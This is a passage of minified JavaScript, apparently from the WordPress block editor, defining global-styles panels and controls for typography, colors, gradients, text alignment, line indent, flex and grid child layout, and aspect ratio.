WF={};Ip(WF,{AdvancedPanel:()=&gt;ZP,BackgroundPanel:()=&gt;o2,BorderPanel:()=&gt;jP,ColorPanel:()=&gt;WP,DimensionsPanel:()=&gt;DP,FiltersPanel:()=&gt;KP,ImageSettingsPanel:()=&gt;tae,TypographyPanel:()=&gt;OP,useHasBackgroundPanel:()=&gt;v_,useHasBorderPanel:()=&gt;zP,useHasBorderPanelControls:()=&gt;p_,useHasColorPanel:()=&gt;GP,useHasDimensionsPanel:()=&gt;MP,useHasFiltersPanel:()=&gt;Qse,useHasImageSettingsPanel:()=&gt;eae,useHasTypographyPanel:()=&gt;RP,useSettingsForBlockElement:()=&gt;TP});var EP=l(R(),1),ase=l(F(),1),DF=l($(),1),rp=l(N(),1);function TP(e,t,o){let{supportedStyles:r,supports:n}=(0,ase.useSelect)(i=&gt;({supportedStyles:M(i(DF.store)).getSupportedStyles(t,o),supports:i(DF.store).getBlockType(t)?.supports}),[t,o]);return(0,EP.useMemo)(()=&gt;{let i={...e};return r.includes(&quot;fontSize&quot;)||(i.typography={...i.typography,fontSizes:{},customFontSize:!1,defaultFontSizes:!1}),r.includes(&quot;fontFamily&quot;)||(i.typography={...i.typography,fontFamilies:{}}),i.color={...i.color,text:i.color?.text&amp;&amp;r.includes(&quot;color&quot;),background:i.color?.background&amp;&amp;(r.includes(&quot;background&quot;)||r.includes(&quot;backgroundColor&quot;)),button:i.color?.button&amp;&amp;r.includes(&quot;buttonColor&quot;),heading:i.color?.heading&amp;&amp;r.includes(&quot;headingColor&quot;),link:i.color?.link&amp;&amp;r.includes(&quot;linkColor&quot;),caption:i.color?.caption&amp;&amp;r.includes(&quot;captionColor&quot;)},r.includes(&quot;background&quot;)||(i.color.gradients=[],i.color.customGradient=!1),r.includes(&quot;filter&quot;)||(i.color.defaultDuotone=!1,i.color.customDuotone=!1),[&quot;lineHeight&quot;,&quot;fontStyle&quot;,&quot;fontWeight&quot;,&quot;letterSpacing&quot;,&quot;textAlign&quot;,&quot;textTransform&quot;,&quot;textDecoration&quot;,&quot;textIndent&quot;,&quot;writingMode&quot;].forEach(s=&gt;{r.includes(s)||(i.typography={...i.typography,[s]:!1})}),r.includes(&quot;textIndent&quot;)&amp;&amp;(i.typography={...i.typography,textIndent:i.typography?.textIndent??&quot;subsequent&quot;}),r.includes(&quot;columnCount&quot;)||(i.typography={...i.typography,textColumns:!1}),[&quot;contentSize&quot;,&quot;wideSize&quot;].forEach(s=&gt;{r.includes(s)||(i.layout={...i.layout,[s]:!1})}),[&quot;padding&quot;,&quot;margin&quot;,&quot;blockGap&quot;].forEach(s=&gt;{r.includes(s)||(i.spacing={...i.spacing,[s]:!1});let a=Array.isArray(n?.spacing?.[s])?n?.spacing?.[s]:n?.spacing?.[s]?.sides;a?.length&amp;&amp;i.spacing?.[s]&amp;&amp;(i.spacing={...i.spacing,[s]:{...i.spacing?.[s],sides:a}})}),[&quot;aspectRatio&quot;,&quot;height&quot;,&quot;minHeight&quot;,&quot;width&quot;].forEach(s=&gt;{r.includes(s)||(i.dimensions={...i.dimensions,[s]:!1})}),[&quot;radius&quot;,&quot;color&quot;,&quot;style&quot;,&quot;width&quot;].forEach(s=&gt;{r.includes(&quot;border&quot;+s.charAt(0).toUpperCase()+s.slice(1))||(i.border={...i.border,[s]:!1})}),[&quot;backgroundImage&quot;,&quot;backgroundSize&quot;].forEach(s=&gt;{r.includes(s)||(i.background={...i.background,[s]:!1})}),i.shadow=r.includes(&quot;shadow&quot;)?i.shadow:!1,i},[e,r,n])}function Xa(e){let t=e?.color?.palette?.custom,o=e?.color?.palette?.theme,r=e?.color?.palette?.default,n=e?.color?.defaultPalette;return(0,EP.useMemo)(()=&gt;{let i=[];return o&amp;&amp;o.length&amp;&amp;i.push({name:(0,rp._x)(&quot;Theme&quot;,&quot;Indicates this palette comes from the theme.&quot;),colors:o}),n&amp;&amp;r&amp;&amp;r.length&amp;&amp;i.push({name:(0,rp._x)(&quot;Default&quot;,&quot;Indicates this palette comes from WordPress.&quot;),colors:r}),t&amp;&amp;t.length&amp;&amp;i.push({name:(0,rp._x)(&quot;Custom&quot;,&quot;Indicates this palette is created by the user.&quot;),colors:t}),i},[t,o,r,n])}function f_(e){let t=e?.color?.gradients?.custom,o=e?.color?.gradients?.theme,r=e?.color?.gradients?.default,n=e?.color?.defaultGradients;return(0,EP.useMemo)(()=&gt;{let i=[];return o&amp;&amp;o.length&amp;&amp;i.push({name:(0,rp._x)(&quot;Theme&quot;,&quot;Indicates this palette comes from the theme.&quot;),gradients:o}),n&amp;&amp;r&amp;&amp;r.length&amp;&amp;i.push({name:(0,rp._x)(&quot;Default&quot;,&quot;Indicates this palette comes from WordPress.&quot;),gradients:r}),t&amp;&amp;t.length&amp;&amp;i.push({name:(0,rp._x)(&quot;Custom&quot;,&quot;Indicates this palette is created by the user.&quot;),gradients:t}),i},[t,o,r,n])}var io=l(A(),1),Mo=l(N(),1),jb=l(R(),1);var zb=l(N(),1);var lse=l(R(),1),IP=l(A(),1),VF=l(w(),1),$Te=[{label:(0,zb.__)(&quot;Align text left&quot;),value:&quot;left&quot;,icon:Jc},{label:(0,zb.__)(&quot;Align text center&quot;),value:&quot;center&quot;,icon:Sf},{label:(0,zb.__)(&quot;Align text right&quot;),value:&quot;right&quot;,icon:eu},{label:(0,zb.__)(&quot;Justify text&quot;),value:&quot;justify&quot;,icon:OO}],KTe=[&quot;left&quot;,&quot;center&quot;,&quot;right&quot;];function PP({className:e,value:t,onChange:o,options:r=KTe}){let n=(0,lse.useMemo)(()=&gt;$Te.filter(i=&gt;r.includes(i.value)),[r]);return n.length?(0,VF.jsx)(IP.__experimentalToggleGroupControl,{isDeselectable:!0,__next40pxDefaultSize:!0,label:(0,zb.__)(&quot;Text alignment&quot;),className:V(&quot;block-editor-text-alignment-control&quot;,e),value:t,onChange:i=&gt;{o(i===t?void 0:i)},children:n.map(i=&gt;(0,VF.jsx)(IP.__experimentalToggleGroupControlOptionIcon,{value:i.value,icon:i.icon,label:i.label},i.value))}):null}var No=l(A(),1),m_=l(N(),1);var ns=l(w(),1);function cse({__next40pxDefaultSize:e=!1,value:t,onChange:o,__unstableInputWidth:r=&quot;60px&quot;,withSlider:n=!1,hasBottomMargin:i=!1,help:s,...a}){let[c]=me(&quot;spacing.units&quot;),u=(0,No.__experimentalUseCustomUnits)({availableUnits:c||[&quot;px&quot;,&quot;em&quot;,&quot;rem&quot;,&quot;ch&quot;,&quot;%&quot;,&quot;vw&quot;,&quot;vh&quot;],defaultValues:{px:16,em:2,rem:2,ch:2}}),[d,f]=(0,No.__experimentalParseQuantityAndUnitFromRawValue)(t,u),m=!!f&amp;&amp;[&quot;em&quot;,&quot;rem&quot;,&quot;%&quot;,&quot;ch&quot;,&quot;vw&quot;,&quot;vh&quot;].includes(f);return n?(0,ns.jsxs)(No.__experimentalView,{style:i?{marginBottom:12}:void 0,children:[(0,ns.jsx)(No.BaseControl.VisualLabel,{children:(0,m_.__)(&quot;Line indent&quot;)}),(0,ns.jsxs)(No.Flex,{children:[(0,ns.jsx)(No.FlexItem,{isBlock:!0,children:(0,ns.jsx)(No.__experimentalUnitControl,{__next40pxDefaultSize:e,__shouldNotWarnDeprecated36pxSize:!0,label:(0,m_.__)(&quot;Line indent&quot;),labelPosition:&quot;top&quot;,hideLabelFromVision:!0,value:t,onChange:o,size:a.size,units:u,__unstableInputWidth:r,min:0})}),n&amp;&amp;(0,ns.jsx)(No.FlexItem,{isBlock:!0,children:(0,ns.jsx)(No.__experimentalSpacer,{marginX:2,marginBottom:0,children:(0,ns.jsx)(No.RangeControl,{__next40pxDefaultSize:e,__shouldNotWarnDeprecated36pxSize:!0,label:(0,m_.__)(&quot;Line indent&quot;),hideLabelFromVision:!0,value:d,withInputField:!1,onChange:h=&gt;{o?.(h===void 0?void 0:h+(f??&quot;px&quot;))},min:0,max:m?10:100,step:m?.1:1,initialPosition:0})})})]}),s&amp;&amp;(0,ns.jsx)(&quot;p&quot;,{className:&quot;components-base-control__help&quot;,children:s})]}):(0,ns.jsx)(No.__experimentalUnitControl,{__next40pxDefaultSize:e,__shouldNotWarnDeprecated36pxSize:!0,...a,label:(0,m_.__)(&quot;Line indent&quot;),value:t,__unstableInputWidth:r,units:u,onChange:o,help:s})}function dse(e,t){let o=e?.typography?.fontFamilies,r=[&quot;default&quot;,&quot;theme&quot;,&quot;custom&quot;].flatMap(i=&gt;o?.[i]??[]),n=r.find(i=&gt;i.fontFamily===t)?.fontFace??[];return{fontFamilies:r,fontFamilyFaces:n}}function use(e,t){return t=typeof t==&quot;number&quot;?t.toString():t,!t||typeof t!=&quot;string&quot;?&quot;&quot;:!e||e.length===0?t:e?.reduce((r,{value:n})=&gt;{let i=Math.abs(parseInt(n)-parseInt(t)),s=Math.abs(parseInt(r)-parseInt(t));return i&lt;s?n:r},e[0]?.value)}function YTe(e,t){return typeof t!=&quot;string&quot;||!t||![&quot;normal&quot;,&quot;italic&quot;,&quot;oblique&quot;].includes(t)?&quot;&quot;:!e||e.length===0||e.find(r=&gt;r.value===t)?t:t===&quot;oblique&quot;&amp;&amp;!e.find(r=&gt;r.value===&quot;oblique&quot;)?&quot;italic&quot;:&quot;&quot;}function fse(e,t,o){let r=t,n=o,{fontStyles:i,fontWeights:s,combinedStyleAndWeightOptions:a}=ib(e),c=i?.some(({value:d})=&gt;d===t),u=s?.some(({value:d})=&gt;d?.toString()===o?.toString());return c||(r=t?YTe(i,t):a?.find(d=&gt;d.style.fontWeight===use(s,o))?.style?.fontStyle),u||(n=o?use(s,o):a?.find(d=&gt;d.style.fontStyle===(r||t))?.style?.fontWeight),{nearestFontStyle:r,nearestFontWeight:n}}var Je=l(w(),1),qTe=1,ZTe=6;function RP(e){let t=pse(e),o=hse(e),r=gse(e),n=bse(e),i=vse(e),s=kse(e),a=yse(e),c=xse(e),u=Sse(e),d=_se(e),f=mse(e);return t||o||r||n||i||s||f||a||c||u||d}function mse(e){return e?.typography?.defaultFontSizes!==!1&amp;&amp;e?.typography?.fontSizes?.default?.length||e?.typography?.fontSizes?.theme?.length||e?.typography?.fontSizes?.custom?.length||e?.typography?.customFontSize}function pse(e){return[&quot;default&quot;,&quot;theme&quot;,&quot;custom&quot;].some(t=&gt;e?.typography?.fontFamilies?.[t]?.length)}function hse(e){return e?.typography?.lineHeight}function gse(e){return e?.typography?.fontStyle||e?.typography?.fontWeight}function XTe(e){return e?.typography?.fontStyle?e?.typography?.fontWeight?(0,Mo.__)(&quot;Appearance&quot;):(0,Mo.__)(&quot;Font style&quot;):(0,Mo.__)(&quot;Font weight&quot;)}function bse(e){return e?.typography?.letterSpacing}function kse(e){return e?.typography?.textTransform}function vse(e){return e?.typography?.textAlign}function yse(e){return e?.typography?.textDecoration}function Sse(e){return e?.typography?.writingMode}function _se(e){return e?.typography?.textColumns}function xse(e){return e?.typography?.textIndent}function QTe(e){let t=e?.typography?.fontSizes,o=!!e?.typography?.defaultFontSizes;return[...t?.custom??[],...t?.theme??[],...o?t?.default??[]:[]]}function JTe({resetAllFilter:e,onChange:t,value:o,panelId:r,children:n}){let i=Ro(),s=()=&gt;{let a=e(o);t(a)};return(0,Je.jsx)(io.__experimentalToolsPanel,{label:(0,Mo.__)(&quot;Typography&quot;),resetAll:s,panelId:r,dropdownMenuProps:i,children:n})}var eIe={fontFamily:!0,fontSize:!0,fontAppearance:!0,lineHeight:!0,letterSpacing:!0,textAlign:!0,textTransform:!0,textDecoration:!0,textIndent:!0,writingMode:!0,textColumns:!0};function OP({as:e=JTe,value:t,onChange:o,inheritedValue:r=t,settings:n,panelId:i,defaultControls:s=eIe,isGlobalStyles:a=!1}){let c=te=&gt;wn({settings:n},&quot;&quot;,te),u=pse(n),d=c(r?.typography?.fontFamily),{fontFamilies:f,fontFamilyFaces:m}=(0,jb.useMemo)(()=&gt;dse(n,d),[n,d]),h=te=&gt;{let Le=f?.find(({fontFamily:cn})=&gt;cn===te)?.slug,ct=pe(t,[&quot;typography&quot;,&quot;fontFamily&quot;],Le?`var:preset|font-family|${Le}`:te||void 0),Gc=f?.find(({fontFamily:cn})=&gt;cn===te)?.fontFace??[],{fontStyles:ua,fontWeights:Bp}=ib(Gc),jk=ua?.some(({value:cn})=&gt;cn===T),hf=Bp?.some(({value:cn})=&gt;cn?.toString()===O?.toString());if(!jk||!hf){let{nearestFontStyle:cn,nearestFontWeight:Ep}=fse(Gc,T,O);cn||Ep?ct={...ct,typography:{...ct?.typography,fontStyle:cn||void 0,fontWeight:Ep||void 0}}:(T||O)&amp;&amp;(ct={...ct,typography:{...ct?.typography,fontStyle:void 0,fontWeight:void 0}})}o(ct)},p=()=&gt;!!t?.typography?.fontFamily,g=()=&gt;h(void 0),b=mse(n),v=!n?.typography?.customFontSize,k=QTe(n),y=c(r?.typography?.fontSize),S=(()=&gt;{let te=r?.typography?.fontSize;if(!te||typeof te!=&quot;string&quot;)return;if(te.startsWith(&quot;var:preset|font-size|&quot;))return te.replace(&quot;var:preset|font-size|&quot;,&quot;&quot;);let Le=te.match(/^var\(--wp--preset--font-size--([^)]+)\)$/);if(Le)return Le[1]})(),x=(te,Le)=&gt;{let ct=Le?.slug?`var:preset|font-size|${Le?.slug}`:te;o(pe(t,[&quot;typography&quot;,&quot;fontSize&quot;],ct||void 0))},C=()=&gt;!!t?.typography?.fontSize,B=()=&gt;x(void 0),I=gse(n),P=XTe(n),E=n?.typography?.fontStyle,L=n?.typography?.fontWeight,T=c(r?.typography?.fontStyle),O=c(r?.typography?.fontWeight),D=(0,jb.useCallback)(({fontStyle:te,fontWeight:Le})=&gt;{(te!==T||Le!==O)&amp;&amp;o({...t,typography:{...t?.typography,fontStyle:te||void 0,fontWeight:Le||void 0}})},[T,O,o,t]),U=()=&gt;!!t?.typography?.fontStyle||!!t?.typography?.fontWeight,G=(0,jb.useCallback)(()=&gt;{D({})},[D]),j=hse(n),z=c(r?.typography?.lineHeight),W=te=&gt;{o(pe(t,[&quot;typography&quot;,&quot;lineHeight&quot;],te||void 0))},ee=()=&gt;t?.typography?.lineHeight!==void 0,se=()=&gt;W(void 0),ce=bse(n),ie=c(r?.typography?.letterSpacing),re=te=&gt;{o(pe(t,[&quot;typography&quot;,&quot;letterSpacing&quot;],te||void 0))},Q=()=&gt;!!t?.typography?.letterSpacing,Y=()=&gt;re(void 0),J=xse(n),K=c(r?.typography?.textIndent),X=(n?.typography?.textIndent??&quot;subsequent&quot;)===&quot;all&quot;,ne=te=&gt;{o(pe(t,[&quot;typography&quot;,&quot;textIndent&quot;],te||void 0))},le=te=&gt;{o({...t,settings:{typography:{textIndent:te?&quot;all&quot;:&quot;subsequent&quot;}}})},ve=()=&gt;!!t?.typography?.textIndent,he=()=&gt;{o(pe(t,[&quot;typography&quot;,&quot;textIndent&quot;],void 0))},xe=X?(0,Mo.__)(&quot;Indents the first line of all paragraphs.&quot;):(0,Mo.__)(&quot;Indents the first line of each paragraph after the first one.&quot;),ze=_se(n),ot=c(r?.typography?.textColumns),Wt=te=&gt;{o(pe(t,[&quot;typography&quot;,&quot;textColumns&quot;],te||void 0))},fo=()=&gt;!!t?.typography?.textColumns,Do=()=&gt;Wt(void 0),rt=kse(n),ar=c(r?.typography?.textTransform),xt=te=&gt;{o(pe(t,[&quot;typography&quot;,&quot;textTransform&quot;],te||void 0))},At=()=&gt;!!t?.typography?.textTransform,Pe=()=&gt;xt(void 0),wt=yse(n),qo=c(r?.typography?.textDecoration),$t=te=&gt;{o(pe(t,[&quot;typography&quot;,&quot;textDecoration&quot;],te||void 0))},lr=()=&gt;!!t?.typography?.textDecoration,ln=()=&gt;$t(void 0),je=Sse(n),Eo=c(r?.typography?.writingMode),Ze=te=&gt;{o(pe(t,[&quot;typography&quot;,&quot;writingMode&quot;],te||void 0))},Ve=()=&gt;!!t?.typography?.writingMode,gt=()=&gt;Ze(void 0),To=vse(n),cr=c(r?.typography?.textAlign),ge=te=&gt;{o(pe(t,[&quot;typography&quot;,&quot;textAlign&quot;],te||void 0))},Ct=()=&gt;!!t?.typography?.textAlign,Io=()=&gt;ge(void 0),Ke=(0,jb.useCallback)(te=&gt;({...te,typography:{}}),[]);return(0,Je.jsxs)(e,{resetAllFilter:Ke,value:t,onChange:o,panelId:i,children:[u&amp;&amp;(0,Je.jsx)(io.__experimentalToolsPanelItem,{label:(0,Mo.__)(&quot;Font&quot;),hasValue:p,onDeselect:g,isShownByDefault:s.fontFamily,panelId:i,children:(0,Je.jsx)(rI,{fontFamilies:f,value:d,onChange:h,size:&quot;__unstable-large&quot;})}),b&amp;&amp;(0,Je.jsx)(io.__experimentalToolsPanelItem,{label:(0,Mo.__)(&quot;Size&quot;),hasValue:C,onDeselect:B,isShownByDefault:s.fontSize,panelId:i,children:(0,Je.jsx)(io.FontSizePicker,{value:S||y,valueMode:S?&quot;slug&quot;:&quot;literal&quot;,onChange:x,fontSizes:k,disableCustomFontSizes:v,withReset:!1,withSlider:!0,size:&quot;__unstable-large&quot;})}),I&amp;&amp;(0,Je.jsx)(io.__experimentalToolsPanelItem,{label:P,hasValue:U,onDeselect:G,isShownByDefault:s.fontAppearance,panelId:i,children:(0,Je.jsx)(oI,{value:{fontStyle:T,fontWeight:O},onChange:D,hasFontStyles:E,hasFontWeights:L,fontFamilyFaces:m,size:&quot;__unstable-large&quot;})}),j&amp;&amp;(0,Je.jsx)(io.__experimentalToolsPanelItem,{className:&quot;single-column&quot;,label:(0,Mo.__)(&quot;Line height&quot;),hasValue:ee,onDeselect:se,isShownByDefault:s.lineHeight,panelId:i,children:(0,Je.jsx)(HI,{__unstableInputWidth:&quot;auto&quot;,value:z,onChange:W,size:&quot;__unstable-large&quot;})}),ce&amp;&amp;(0,Je.jsx)(io.__experimentalToolsPanelItem,{className:&quot;single-column&quot;,label:(0,Mo.__)(&quot;Letter spacing&quot;),hasValue:Q,onDeselect:Y,isShownByDefault:s.letterSpacing,panelId:i,children:(0,Je.jsx)(iI,{value:ie,onChange:re,size:&quot;__unstable-large&quot;,__unstableInputWidth:&quot;auto&quot;})}),J&amp;&amp;(0,Je.jsxs)(io.__experimentalToolsPanelItem,{label:(0,Mo.__)(&quot;Line indent&quot;),hasValue:ve,onDeselect:he,isShownByDefault:s.textIndent,panelId:i,children:[(0,Je.jsx)(cse,{value:K,onChange:ne,size:&quot;__unstable-large&quot;,__unstableInputWidth:&quot;auto&quot;,withSlider:!0,hasBottomMargin:a}),a&amp;&amp;(0,Je.jsx)(io.ToggleControl,{label:(0,Mo.__)(&quot;Indent all paragraphs&quot;),checked:X,onChange:le,help:xe})]}),ze&amp;&amp;(0,Je.jsx)(io.__experimentalToolsPanelItem,{className:&quot;single-column&quot;,label:(0,Mo.__)(&quot;Columns&quot;),hasValue:fo,onDeselect:Do,isShownByDefault:s.textColumns,panelId:i,children:(0,Je.jsx)(io.__experimentalNumberControl,{label:(0,Mo.__)(&quot;Columns&quot;),max:ZTe,min:qTe,onChange:Wt,size:&quot;__unstable-large&quot;,spinControls:&quot;custom&quot;,value:ot,initialPosition:1})}),wt&amp;&amp;(0,Je.jsx)(io.__experimentalToolsPanelItem,{className:&quot;single-column&quot;,label:(0,Mo.__)(&quot;Decoration&quot;),hasValue:lr,onDeselect:ln,isShownByDefault:s.textDecoration,panelId:i,children:(0,Je.jsx)(aI,{value:qo,onChange:$t,size:&quot;__unstable-large&quot;,__unstableInputWidth:&quot;auto&quot;})}),je&amp;&amp;(0,Je.jsx)(io.__experimentalToolsPanelItem,{className:&quot;single-column&quot;,label:(0,Mo.__)(&quot;Orientation&quot;),hasValue:Ve,onDeselect:gt,isShownByDefault:s.writingMode,panelId:i,children:(0,Je.jsx)(dI,{value:Eo,onChange:Ze,size:&quot;__unstable-large&quot;})}),rt&amp;&amp;(0,Je.jsx)(io.__experimentalToolsPanelItem,{label:(0,Mo.__)(&quot;Letter case&quot;),hasValue:At,onDeselect:Pe,isShownByDefault:s.textTransform,panelId:i,children:(0,Je.jsx)(cI,{value:ar,onChange:xt,showNone:!0,isBlock:!0,size:&quot;__unstable-large&quot;})}),To&amp;&amp;(0,Je.jsxs)(io.__experimentalToolsPanelItem,{label:(0,Mo.__)(&quot;Text alignment&quot;),hasValue:Ct,onDeselect:Io,isShownByDefault:s.textAlign,panelId:i,children:[(0,Je.jsx)(PP,{value:cr,onChange:ge,options:[&quot;left&quot;,&quot;center&quot;,&quot;right&quot;,&quot;justify&quot;],size:&quot;__unstable-large&quot;}),cr===&quot;justify&quot;&amp;&amp;(0,Je.jsx)(&quot;div&quot;,{children:(0,Je.jsx)(io.Notice,{status:&quot;warning&quot;,isDismissible:!1,children:(0,Mo.__)(&quot;Justified text can reduce readability. For better accessibility, use left-aligned text instead.&quot;)})})]})]})}var Zt=l(N(),1),jt=l(A(),1);var Hb=l(R(),1);var et=l(A(),1),Go=l(N(),1),Cse=l(R(),1),AP=l(F(),1);var wse=l(F(),1);function np(e,t){let{getBlockOrder:o,getBlockAttributes:r}=(0,wse.useSelect)(_);return(i,s)=&gt;{let a=(s-1)*t+i-1,c=0;for(let u of o(e)){let{columnStart:d,rowStart:f}=r(u).style?.layout??{};(f-1)*t+d-1&lt;a&amp;&amp;c++}return c}}var qt=l(w(),1);function tIe(e,t){let{orientation:o=&quot;horizontal&quot;}=t;return e===&quot;fill&quot;?(0,Go.__)(&quot;Stretch to fill available space.&quot;):e===&quot;fixed&quot;&amp;&amp;o===&quot;horizontal&quot;?(0,Go.__)(&quot;Specify a fixed width.&quot;):e===&quot;fixed&quot;?(0,Go.__)(&quot;Specify a fixed height.&quot;):(0,Go.__)(&quot;Fit contents.&quot;)}function Bse({value:e={},onChange:t,parentLayout:o,isShownByDefault:r,panelId:n}){let{type:i,default:{type:s=&quot;default&quot;}={}}=o??{},a=i||s;return a===&quot;flex&quot;?(0,qt.jsx)(oIe,{childLayout:e,onChange:t,parentLayout:o,isShownByDefault:r,panelId:n}):a===&quot;grid&quot;?(0,qt.jsx)(nIe,{childLayout:e,onChange:t,parentLayout:o,isShownByDefault:r,panelId:n}):null}function oIe({childLayout:e,onChange:t,parentLayout:o,isShownByDefault:r,panelId:n}){let{selfStretch:i,flexSize:s}=e,{orientation:a=&quot;horizontal&quot;}=o??{},c=()=&gt;!!i,u=a===&quot;horizontal&quot;?(0,Go.__)(&quot;Width&quot;):(0,Go.__)(&quot;Height&quot;),[d]=me(&quot;spacing.units&quot;),f=(0,et.__experimentalUseCustomUnits)({availableUnits:d||[&quot;%&quot;,&quot;px&quot;,&quot;em&quot;,&quot;rem&quot;,&quot;vh&quot;,&quot;vw&quot;]}),m=()=&gt;{t({selfStretch:void 0,flexSize:void 0})};return(0,Cse.useEffect)(()=&gt;{i===&quot;fixed&quot;&amp;&amp;!s&amp;&amp;t({...e,selfStretch:&quot;fit&quot;})},[]),(0,qt.jsxs)(et.__experimentalVStack,{as:et.__experimentalToolsPanelItem,spacing:2,hasValue:c,label:u,onDeselect:m,isShownByDefault:r,panelId:n,children:[(0,qt.jsxs)(et.__experimentalToggleGroupControl,{size:&quot;__unstable-large&quot;,label:rIe(o),value:i||&quot;fit&quot;,help:tIe(i,o),onChange:h=&gt;{t({selfStretch:h,flexSize:h!==&quot;fixed&quot;?null:s})},isBlock:!0,children:[(0,qt.jsx)(et.__experimentalToggleGroupControlOption,{value:&quot;fit&quot;,label:(0,Go._x)(&quot;Fit&quot;,&quot;Intrinsic block width in flex layout&quot;)},&quot;fit&quot;),(0,qt.jsx)(et.__experimentalToggleGroupControlOption,{value:&quot;fill&quot;,label:(0,Go._x)(&quot;Grow&quot;,&quot;Block with expanding width in flex layout&quot;)},&quot;fill&quot;),(0,qt.jsx)(et.__experimentalToggleGroupControlOption,{value:&quot;fixed&quot;,label:(0,Go._x)(&quot;Fixed&quot;,&quot;Block with fixed width in flex layout&quot;)},&quot;fixed&quot;)]}),i===&quot;fixed&quot;&amp;&amp;(0,qt.jsx)(et.__experimentalUnitControl,{size:&quot;__unstable-large&quot;,units:f,onChange:h=&gt;{t({selfStretch:i,flexSize:h})},value:s,min:0,label:u,hideLabelFromVision:!0})]})}function rIe(e){let{orientation:t=&quot;horizontal&quot;}=e;return t===&quot;horizontal&quot;?(0,Go.__)(&quot;Width&quot;):(0,Go.__)(&quot;Height&quot;)}function nIe({childLayout:e,onChange:t,parentLayout:o,isShownByDefault:r,panelId:n}){let{columnStart:i,rowStart:s,columnSpan:a,rowSpan:c}=e,{columnCount:u,rowCount:d}=o??{},f=(0,AP.useSelect)(x=&gt;x(_).getBlockRootClientId(n)),{moveBlocksToPosition:m,__unstableMarkNextChangeAsNotPersistent:h}=(0,AP.useDispatch)(_),p=np(f,u||3),g=()=&gt;!!i||!!s,b=()=&gt;!!a||!!c,v=()=&gt;{t({columnStart:void 0,rowStart:void 0})},k=()=&gt;{t({columnSpan:void 0,rowSpan:void 0})},y=u?u-(i??1)+1:void 0,S=window.__experimentalEnableGridInteractivity&amp;&amp;d?d-(s??1)+1:void 0;return(0,qt.jsxs)(qt.Fragment,{children:[(0,qt.jsxs)(et.Flex,{as:et.__experimentalToolsPanelItem,hasValue:b,label:(0,Go.__)(&quot;Grid span&quot;),onDeselect:k,isShownByDefault:r,panelId:n,children:[(0,qt.jsx)(et.FlexItem,{style:{width:&quot;50%&quot;},children:(0,qt.jsx)(et.__experimentalInputControl,{size:&quot;__unstable-large&quot;,label:(0,Go.__)(&quot;Column span&quot;),type:&quot;number&quot;,onChange:x=&gt;{let C=x===&quot;&quot;?1:parseInt(x,10),B=y?Math.min(C,y):C;t({columnStart:i,rowStart:s,rowSpan:c,columnSpan:B})},value:a??1,min:1,max:y})}),(0,qt.jsx)(et.FlexItem,{style:{width:&quot;50%&quot;},children:(0,qt.jsx)(et.__experimentalInputControl,{size:&quot;__unstable-large&quot;,label:(0,Go.__)(&quot;Row span&quot;),type:&quot;number&quot;,onChange:x=&gt;{let C=x===&quot;&quot;?1:parseInt(x,10),B=S?Math.min(C,S):C;t({columnStart:i,rowStart:s,columnSpan:a,rowSpan:B})},value:c??1,min:1,max:S})})]}),window.__experimentalEnableGridInteractivity&amp;&amp;(0,qt.jsxs)(et.Flex,{as:et.__experimentalToolsPanelItem,hasValue:g,label:(0,Go.__)(&quot;Grid placement&quot;),onDeselect:v,isShownByDefault:!1,panelId:n,children:[(0,qt.jsx)(et.FlexItem,{style:{width:&quot;50%&quot;},children:(0,qt.jsx)(et.__experimentalInputControl,{size:&quot;__unstable-large&quot;,label:(0,Go.__)(&quot;Column&quot;),type:&quot;number&quot;,onChange:x=&gt;{let C=x===&quot;&quot;?1:parseInt(x,10);t({columnStart:C,rowStart:s,columnSpan:a,rowSpan:c}),h(),m([n],f,f,p(C,s))},value:i??1,min:1,max:u?u-(a??1)+1:void 0})}),(0,qt.jsx)(et.FlexItem,{style:{width:&quot;50%&quot;},children:(0,qt.jsx)(et.__experimentalInputControl,{size:&quot;__unstable-large&quot;,label:(0,Go.__)(&quot;Row&quot;),type:&quot;number&quot;,onChange:x=&gt;{let C=x===&quot;&quot;?1:parseInt(x,10);t({columnStart:i,rowStart:C,columnSpan:a,rowSpan:c}),h(),m([n],f,f,p(i,C))},value:s??1,min:1,max:d?d-(c??1)+1:void 0})})]})]})}var LP=l(A(),1),Ub=l(N(),1);var FF=l(w(),1);function NP({panelId:e,value:t,onChange:o=()=&gt;{},options:r,defaultValue:n=&quot;auto&quot;,hasValue:i,isShownByDefault:s=!0}){let a=t??&quot;auto&quot;,[c,u,d]=me(&quot;dimensions.aspectRatios.default&quot;,&quot;dimensions.aspectRatios.theme&quot;,&quot;dimensions.defaultAspectRatios&quot;),f=u?.map(({name:p,ratio:g})=&gt;({label:p,value:g})),m=c?.map(({name:p,ratio:g})=&gt;({label:p,value:g})),h=[{label:(0,Ub._x)(&quot;Original&quot;,&quot;Aspect ratio option for dimensions control&quot;),value:&quot;auto&quot;},...d?m:[],...f||[],{label:(0,Ub._x)(&quot;Custom&quot;,&quot;Aspect ratio option for dimensions control&quot;),value:&quot;custom&quot;,disabled:!0,hidden:!0}];return(0,FF.jsx)(LP.__experimentalToolsPanelItem,{hasValue:i||(()=&gt;a!==n),label:(0,Ub.__)(&quot;Aspect ratio&quot;),onDeselect:()=&gt;o(void 0),isShownByDefault:s,panelId:e,children:(0,FF.jsx)(LP.SelectControl,{label:(0,Ub.__)(&quot;Aspect ratio&quot;),value:a,options:r??h,onChange:o,size:&quot;__unstable-large&quot;})})}var We=l(w(),1),zF=[&quot;horizontal&quot;,&quot;vertical&quot;];function MP(e){let t=Ise(e),o=Pse(e),r=Rse(e),n=Ose(e),i=Ase(e),s=Lse(e),a=Nse(e),c=Mse(e),u=Dse(e),d=Vse(e);return Hb.Platform.OS===&quot;web&quot;&amp;&amp;(t||o||r||n||i||s||a||c||u||d)}function Ise(e){return e?.layout?.contentSize}function Pse(e){return e?.layout?.wideSize}function Rse(e){return e?.spacing?.padding}function Ose(e){return e?.spacing?.margin}function Ase(e){return e?.spacing?.blockGap}function Lse(e){return e?.dimensions?.height}function Nse(e){return e?.dimensions?.minHeight}function Mse(e){return e?.dimensions?.width}function Dse(e){return e?.dimensions?.aspectRatio}function Vse(e){let{type:t=&quot;default&quot;,default:{type:o=&quot;default&quot;}={},allowSizingOnChildren:r=!1}=e?.parentLayout??{},n=(o===&quot;flex&quot;||t===&quot;flex&quot;||o===&quot;grid&quot;||t===&quot;grid&quot;)&amp;&amp;r;return!!e?.layout&amp;&amp;n}function iIe(e){let{defaultSpacingSizes:t,spacingSizes:o}=e?.spacing||{};return t!==!1&amp;&amp;o?.default?.length&gt;0||o?.theme?.length&gt;0||o?.custom?.length&gt;0}function Ese(e,t){if(!t||!e)return e;let o={};return 